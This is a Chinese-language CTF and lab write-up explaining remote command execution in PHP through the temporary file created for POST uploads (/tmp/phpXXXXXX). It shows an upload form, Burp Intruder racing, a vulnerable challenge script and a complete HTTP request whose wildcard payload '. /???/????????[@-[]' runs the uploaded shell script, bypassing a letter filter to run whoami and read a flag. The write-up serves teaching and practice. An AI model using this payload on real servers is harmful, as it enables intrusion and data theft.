【命令执行&PHP临时文件特性】实验详解PHP利用临时文件进行RCE

本文最后更新于:2021年9月8日晚上8点04分

前言

虽然涉及到的漏洞确实是比较老旧了,但是相应的题目在网上都只有对应的简略WP,并没有进行详细试验以及阐述原理,对萌新不是那么友好,这篇文章将详细阐述有关PHP命令执行时,POST传输一个文件,利用在/tmp目录下会生成/tmp/phpaabbbC的特性达到RCE。

基础储备

通配符

通常我们使用?或者*作为我们通配符

image-20210908193757488

其中[@-[]的意思是,匹配大写字母,因为大写字母在ASCII码中就是介于@[之间的

image-20210908193937345

点命令

在Linux系统中,.命令其实和source命令是一样的,接下来做一个小实验。

首先现在当前目录随意生成一个文件(注意:不建议直接touch test,后面会阐述原因)

1
touch test.txt

并往test.txt文件中写入以下内容:

1
2
#!/bin/sh
whoami

这里解释一下,在Linux中想要sh执行一个文件中的命令,必须在这个文件的第一行添加#!/bin/sh这一段,作用就是告诉系统,后面文件的用sh来解析

接下来使用source命令,执行test.txt文件

1
source test.txt

image-20210908183407127

可以看到系统成功执行了test.txt中的whoami命令

接下来再使用.命令

1
. test.txt

image-20210908183514354

同样的也执行了whoami命令

但是前面有提到,不建议直接touch生成无后缀的文件,而需要有后缀,并不是因为source不执行这个文件,而是source将test当作了一个命令,所以想要执行test中的内容,需要将test修改为./test,代表在当前目录,而不是一个命令。(当然,绝对路径也是可以的)

image-20210908191115170

实验复现phpaabbbC漏洞

首先靶机上有一个index.php,页面如下:

image-20210908191441635

这时候我们用HTML写一个表单,并且设置该表单为POST发送,由于PHP的特性,当PHP执行代码时,如果收到了POST发送的文件,这时PHP并不会直接把文件抛弃掉,因为PHP并不能确定传送过来的文件是否在后续代码中会用到,所以PHP会在/tmp目录下生成phpaabbbC文件,其中aabbb是随机大小写字母,而C一定是大写字母

我们写一个表单如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>POC</title>
</head>
<body>
<form action="http://192.168.2.128" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

将action设置为我们需要攻击的机器地址,方法设置为POST,编码设置为multipart/form-data

这时候我们打开这个HTML文件,随便选择一个文件

image-20210908192107866

在bp里面截包,发送到intruder,payload的种类设置为Null,然后发送10000次请求

image-20210908192213845

因为测试是在本地机器中测试,访问会很快,所以请求的次数设置的多一点,便于我们观察。

image-20210908192358105

这边bp开始爆破之后,我们查看靶机下的/tmp目录

多ls几次就可以看到有phpaabbbC字样的文件出现,如下图所示

image-20210908192452844

但是想要读取这样的文件还是十分困难的,因为是在本地测试,速度比较快,文件刚生成,甚至来不及cat输出文件内容

image-20210908193026686

从上方这张图中可以看到,确实是由这样的文件,但是无奈实在是太快了,没有办法读取出来,不过可以确定的是,这个文件中的内容就是我们之前在HTML中设置的文件内容,并且文件内容可控。

因此结合我们的通配符点命令执行缓存文件存在且可控,我们在实战中可以借此进行条件竞争,达到RCE,甚至是无字母数字的RCE。

接下来,用一道CTF题来复现一下这个漏洞。

引入例题

首先打开题目:

image-20210908194244803

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

题目直接将源码给我们了,并且过滤了分号,字母,不过并没有过滤数字、斜杠、点号等等。

因此我们采用上传文件,结合点号以及通配符来RCE。

首先还是利用之前的那个HTML的页面,发送请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>POST传输数据包POC</title>
</head>
<body>
<form action="http://6a8a0fdb-8622-4987-b051-1ee137c08f1c.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

将action改为题目地址,然后选中文件发送到bp截包,放到repeater中,HTTP请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 6a8a0fdb-8622-4987-b051-1ee137c08f1c.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29367282935454873652609395829
Content-Length: 352
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------29367282935454873652609395829
Content-Disposition: form-data; name="file"; filename="Lxxx.txt"
Content-Type: text/plain

#!/bin/sh
whoami
-----------------------------29367282935454873652609395829
Content-Disposition: form-data; name="submit"

提交
-----------------------------29367282935454873652609395829--

其中c传参.%20/???/????????[@-[],为了执行在/tmp目录下的phpaabbbC文件,多刷新几次,返回结果如下:

image-20210908195156064

这下,whoami命令得到执行了,ls查看当前目录下的内容

image-20210908195258779

然后再cat flag.php,即可得到flag

image-20210908195339947

至此,我们也成功利用这个漏洞达到RCE了。